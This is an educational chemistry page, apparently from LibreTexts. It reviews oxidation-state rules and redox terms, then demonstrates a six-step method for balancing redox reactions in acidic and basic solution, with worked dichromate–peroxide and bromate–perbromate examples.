1. Elements in elemental form are 0 (e.g. $$Fe(s)$$, $$O_2 (g)$$, etc.)
2. The sum of the oxidation states = the overall charge of the molecule/polyatomic ion. (e.g. $$ClO_4^-$$, Cl is +7, O is -2, 7+(4x-2) = -1)
3. All group I metals and Ag are +1
4. F is -1
5. All group II metals and Zn, Cd are +2
6. H is +1
7. O is -2

## Some Definitions

• Reduction: The charge (oxidation state) is reduced by gaining electrons (e.g., in $$Fe^{+2} + 2e^- \rightarrow Fe(s)$$, the charge goes from +2 to 0 and so the $$Fe^{+2}$$ is reduced to $$Fe(s)$$.)
• Oxidation: The charge (oxidation state) increases by losing electrons (eg., $$Ag(s) \rightarrow Ag^+ + 1e^-$$ ).
• Reducing agent: The reducing agent is the compound which contains the element that is oxidized. When reducing another element or compound, the reducing agent must give electrons away so it becomes oxidized.
• Oxidizing agent: The oxidizing agent is the compound which contains the element that is reduced.
• Redox Reaction: A balanced chemical reaction consisting of both an oxidation and a reduction (i.e., the sum of an oxidation half-reaction and a reduction half-reaction). These are electron transfer reactions.

## Balancing Redox Reactions in Acids

The "HElOHEN" six step method:

 H E O H E N Half rxn's: Elements Oxygen Hydrogen Electrons Number of electrons break up into Half-reactions balance all Elements except O and H balance O with $$H_2O$$ balance H with $$H^+$$ add the $$e^-$$ to balance charge multiply so the Number of $$e^-$$ is the same in both

Example

Balance the following reaction in acid:

$Cr_2O_7^{-2} + H_2O_2 \rightarrow Cr^{+3} + O_2$

1) H: 1/2 rxn's

Cr2O7-2 \rightarrow Cr+3 red (+6 \rightarrow +3)

H2O2 \rightarrow O2 ox (-1 \rightarrow 0)

2) El: elements

Cr2O7-2 \rightarrow 2 Cr+3 red

H2O2 \rightarrow O2 ox

3) O: oxygen

$Cr_2O_7^{-2} \rightarrow 2 Cr^{+3} + 7 H_2O$ red

$H_2O_2 \rightarrow O_2$ ox

4) $Cr_2O_7^{-2} + 14 H^+ \rightarrow 2 Cr^{+3} + 7 H_2O red$

$H_2O_2 \rightarrow O_2 + 2 H^+ ox$

5) E: electrons Be sure to use the net (total) charge on each sides. Multiply coefficients by charges to get the net.

Cr2O7-2 + 14 H+ + 6e- \rightarrow 2 Cr+3 + 7 H2O red

H2O2 \rightarrow 2 e- + O2 + 2 H+ ox

6) N: number

$Cr_2O_7^{-2} + 14 H^+ + 6e^- \rightarrow 2 Cr^{+3} + 7 H_2O$ red

$3H_2O_2 \rightarrow 6 e^- + 3 O_2 + 6 H^+$ ox

$Cr_2O_7^{-2} + 8 H^+ + 3 H_2O_2 \rightarrow 2 Cr^{+3} + 7 H_2O + 3 O_2$

8) Always check that in your answer all electrons cancel and atoms and charges balance! Also check to see if you can divide by a common divisor (see if you have the lowest possible coefficients) and if you can collect terms.

## Balancing in Aqueous Bases

The procedure is the same as with acid except that after you add the $$H^+$$ to balance the hydrogens, add the same number of OH- to both sides and form water on one side.

Example

Balance the following 1/2 rxn in base: $$BrO_3^- \rightarrow BrO_4^-$$

1) H: (The 1/2 rxn is given in this case)

$BrO_3^- \rightarrow BrO_4^-$

2) El: elements

$BrO_3^- \rightarrow BrO_4^-$

3) O: oxygen

$BrO_3^- + H_2O \rightarrow BrO_4^-$

4) H: hydrogen (but because its really in base, after adding H+, then add OH- to both sides.)

$BrO_3^- + H_2O + 2 OH^- \rightarrow BrO_4^- + 2H^+ + 2 OH^-$

If you put H+ and OH- together, they will form water.

$BrO_3^- + H_2O + 2 OH^- \rightarrow BrO_4^- + (2H^+ + 2 OH^- \rightarrow 2 H_2O)$

Cancel the waters and continue.

$BrO_3^- + 2 OH^- \rightarrow BrO_4^- + H_2O$

5) E: electrons

$BrO_3- + 2 OH^- \rightarrow BrO_4^- + H_2O + 2 e^-$

## Contributors

• Jim Hollister, SASC
• Rolf Unterleitner, SASC

Review of Oxidation and Reduction Reactions is shared under a not declared license and was authored, remixed, and/or curated by LibreTexts.